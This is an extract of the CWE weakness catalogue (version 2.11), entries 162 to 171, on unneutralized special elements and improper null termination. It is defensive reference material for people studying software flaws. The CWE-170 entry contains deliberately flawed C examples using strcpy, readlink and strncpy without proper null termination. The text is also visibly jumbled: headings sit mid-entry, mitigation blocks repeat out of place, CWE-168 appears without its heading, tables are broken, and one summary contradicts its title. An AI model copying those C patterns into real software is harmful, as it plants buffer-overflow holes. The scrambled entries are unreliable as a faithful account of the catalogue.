Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
CWE Version 2.11
CWE-163: Improper Neutralization of Multiple Trailing Special Elements

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

| Nature   | Type | ID | Name                                           | Status | Page |
|----------|------|----|-------|------------------------------------------------|-------|------|
| ChildOf  |      | 159| Failure to Sanitize Special Element           | V      | 699  |
|          |      |    |                                                |        | 1000 |
| ChildOf  |      | 990| SFP Secondary Cluster: Tainted Input to Command|        | 699  |
|          |      |    |                                                |        | 1000 |
| ParentOf |      | 42 | Path Equivalence: 'filename.' (Trailing Dot)  |        | 888  |
|          |      |    |                                                |        | 1392 |
| ParentOf |      | 46 | Path Equivalence: 'filename ' (Trailing Space)|        | 1000 |
|          |      |    |                                                |        | 80   |
| ParentOf |      | 49 | Path Equivalence: 'filename/' (Trailing Slash)|        | 1000 |
|          |      |    |                                                |        | 83   |
| ParentOf |      | 54 | Path Equivalence: 'filedir\' (Trailing Backslash)|    | 1000 |
|          |      |    |                                                |        | 86   |
| ParentOf |      | 163| Improper Neutralization of Multiple Trailing Special Elements|    |       |
|          |      |    |                                                |        | 699  |
|          |      |    |                                                |        | 314  |
|          |      |    |                                                |        | 1000 |

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Trailing Special Element</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-163: Improper Neutralization of Multiple Trailing Special Elements

Weakness ID: 163 (Weakness Variant) Status: Incomplete

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description
As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Integrity
Unexpected state

Potential Mitigations
Developers should anticipate that multiple trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerics, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumerics or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
<td>319</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>43</td>
<td>Path Equivalence: 'filename....' (Multiple Trailing Dot)</td>
<td>79</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>52</td>
<td>Path Equivalence: '/multiple/trailing/slash/'</td>
<td>85</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SFP24</td>
<td>Multiple Trailing Special Elements</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-164: Improper Neutralization of Internal Special Elements

Weakness ID: 164 (Weakness Variant) Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description
As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Unexpected state

**Potential Mitigations**

Developers should anticipate that internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌴</td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>314</td>
</tr>
<tr>
<td></td>
<td>🌴</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌴</td>
<td>165</td>
<td>Improper Neutralization of Multiple Internal Special Elements</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>323</td>
</tr>
<tr>
<td></td>
<td>🌴</td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings
CWE-165: Improper Neutralization of Multiple Internal Special Elements

**Weakness ID:** 165 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

**Extended Description**

As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Integrity
- Unexpected state

**Potential Mitigations**

Developers should anticipate that multiple internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelisted list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
CWE Version 2.11
CWE-166: Improper Handling of Missing Special Element

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>CI</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>164</td>
<td>Improper Neutralization of Internal Special Elements</td>
<td>699</td>
<td>321</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>45</td>
<td>Path Equivalence: 'file...name' (Multiple Internal Dot)</td>
<td>1000</td>
<td>80</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>53</td>
<td>Path Equivalence: '\multiple\internal\backslash'</td>
<td>1000</td>
<td>86</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Multiple Internal Special Element</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-166: Improper Handling of Missing Special Element

Weakness ID: 166 (Weakness Base) Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

DoS: crash / exit / restart

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0729</td>
<td>Missing special character (separator) causes crash</td>
</tr>
<tr>
<td>CVE-2002-1362</td>
<td>Crash via message type without separator character</td>
</tr>
<tr>
<td>CVE-2002-1532</td>
<td>HTTP GET without \r\n\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that special elements will be removed in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
**CWE Version 2.11**

**CWE-167: Improper Handling of Additional Special Element**

### Implementation

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

**Input Validation**

Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
<td>699 314</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000 1105</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711 1118</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888 1395</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Missing Special Element</td>
</tr>
</tbody>
</table>

### CWE-167: Improper Handling of Additional Special Element

**Weakness ID:** 167 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**

The software receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is missing.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Integrity
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1157</td>
<td>Extra &quot;&lt;&quot; in front of SCRIPT tag.</td>
</tr>
<tr>
<td>CVE-2002-2086</td>
<td>&quot;&lt;script&quot; - probably a cleansing error</td>
</tr>
</tbody>
</table>

---

325
Potential Mitigations
Developers should anticipate that extra special elements will be injected in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
Extended Description
An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Availability
Access Control
Non-Repudiation
DoS: crash / exit / restart
Bypass protection mechanism
Hide activities

Potential Mitigations
Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>992</td>
<td>SFP Secondary Cluster: Faulty Input Transformation</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Inconsistent Special Elements</td>
</tr>
</tbody>
</table>

CWE-169: Technology-Specific Special Elements

Category ID: 169 (Category)  Status: Draft
Summary
Weaknesses in this category are related to improper handling of special elements within particular technologies.

Applicable Platforms
Languages
• Language-independent

Modes of Introduction
Special elements problems can arise from designs or languages that:
• Do not separate "code" from "data"
• Mix meta-information with information

Potential Mitigations
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Relationships

CWE-170: Improper Null Termination
Weakness ID: 170 (Weakness Base) Status: Incomplete
Description
Summary
The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.
Extended Description
Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++
Platform Notes
Common Consequences
Confidentiality
Integrity
Availability
Read memory

Execute unauthorized code or commands
The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.

Confidentiality
Integrity
Availability
DoS: crash / exit / restart
Read memory
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could:
cause a crash due to a segmentation fault
cause sensitive adjacent memory to be copied and sent to an outsider
toggle a buffer overflow when the copy is being written to a fixed-size buffer

Integrity
Availability
Modify memory
DoS: crash / exit / restart
Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.

Integrity
Confidentiality
Availability
Access Control
Other
Alter execution logic
Execute unauthorized code or commands
Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.

Likelihood of Exploit
Medium

Demonstrative Examples
Example 1:
The following code reads from cfgfile and copies the input into inputbuf using strcpy(). The code mistakenly assumes that inputbuf will always contain a NULL terminator.

C Example:

```c
#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,input_buf); //requires null terminated input
...```
The code above will behave correctly if the data read from cfgfile is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to strcpy() will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following inputbuf, can leave the application susceptible to a buffer overflow attack.

**Example 2:**
In the following code, readlink() expands the name of a symbolic link stored in the buffer path so that the buffer filename contains the absolute path of the file referenced by the symbolic link. The length of the resulting value is then calculated using strlen().

**C Example:**

```c
char buf[MAXPATH];
...
readlink(path, buf, MAXPATH);
int length = strlen(filename);
...
```

The code above will not behave correctly because the value read into buf by readlink() will not be null terminated. In testing, vulnerabilities like this one might not be caught because the unused contents of buf and the memory immediately following it may be NULL, thereby causing strlen() to appear as if it is behaving correctly. However, in the wild strlen() will continue traversing memory until it encounters an arbitrary NULL character on the stack, which results in a value of length that is much larger than the size of buf and may cause a buffer overflow in subsequent uses of this value. Buffer overflows aside, whenever a single call to readlink() returns the same value that has been passed to its third argument, it is impossible to know whether the name is precisely that many bytes long, or whether readlink() has truncated the name to avoid overrunning the buffer. Traditionally, strings are represented as a region of memory containing data terminated with a NULL character. Older string-handling methods frequently rely on this NULL character to determine the length of the string. If a buffer that does not contain a NULL terminator is passed to one of these functions, the function will read past the end of the buffer. Malicious users typically exploit this type of vulnerability by injecting data with unexpected size or content into the application. They may provide the malicious input either directly as input to the program or indirectly by modifying application resources, such as configuration files. In the event that an attacker causes the application to read beyond the bounds of a buffer, the attacker may be able use a resulting buffer overflow to inject and execute arbitrary code on the system.

**Example 3:**
While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

**C Example:**

```c
#include <stdio.h>
#include <string.h>
int main() {
    char longString[] = "String signifying nothing";
    char shortString[16];
    strncpy(shortString, longString, 16);
    printf("The last character in shortString is: %c %x\n", shortString[15]);
    return (0);
}
```

The above code gives the following output: The last character in shortString is: l 6c So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0312</td>
<td>Attacker does not null-terminate argv[] when invoking another program.</td>
</tr>
<tr>
<td>CVE-2001-1389</td>
<td>Multiple vulnerabilities related to improper null termination.</td>
</tr>
</tbody>
</table>
CWE-170: Improper Null Termination

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0143</td>
<td>Product does not null terminate a message buffer after snprintf-like call, leading to overflow.</td>
</tr>
<tr>
<td>CVE-2003-0777</td>
<td>Interrupted step causes resultant lack of null termination.</td>
</tr>
<tr>
<td>CVE-2004-1072</td>
<td>Fault causes resultant lack of null termination, leading to buffer expansion.</td>
</tr>
<tr>
<td>CVE-2009-2523</td>
<td>Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**
Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

**Implementation**
Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

**Implementation**
If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

**Implementation**
Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

**Implementation**
Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

**Weakness Ordinalities**

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>126</td>
<td>Buffer Over-read</td>
<td>1000</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>147</td>
<td>Improper Neutralization of Input Terminators</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>169</td>
<td>Technology-Specific Special Elements</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>973</td>
<td>SFP Secondary Cluster: Improper NULL Termination</td>
<td>888</td>
</tr>
<tr>
<td>CanFollow</td>
<td>E</td>
<td>193</td>
<td>Off-by-one Error</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
<tr>
<td>CanFollow</td>
<td>E</td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

**Relationship Notes**
Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

Overlaps missing input terminator.
Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Improper Null Termination</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>String Termination Error</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>POS30-C</td>
<td></td>
<td>Denial of Service</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR03-C</td>
<td></td>
<td>Use the readlink() function properly</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR32-C</td>
<td></td>
<td>Do not inadvertently truncate a null- terminated byte string</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR03-CPP</td>
<td></td>
<td>Do not inadvertently truncate a null- terminated character array</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR32-CPP</td>
<td></td>
<td>Null-terminate character arrays as required</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP11</td>
<td></td>
<td>Improper Null Termination</td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where the code path has:
1. end statement that passes a data item to a null-terminated string function
2. start statement that produces the improper null-terminated data item

Where "produces" is defined through the following scenarios:
1. data item never ended with null-terminator
2. null-terminator is re-written

Maintenance Notes
As currently described, this entry is more like a category than a weakness.

CWE-171: Cleansing, Canonicalization, and Comparison Errors

Category ID: 171 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data.

Applicable Platforms

Languages
• Language-independent

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
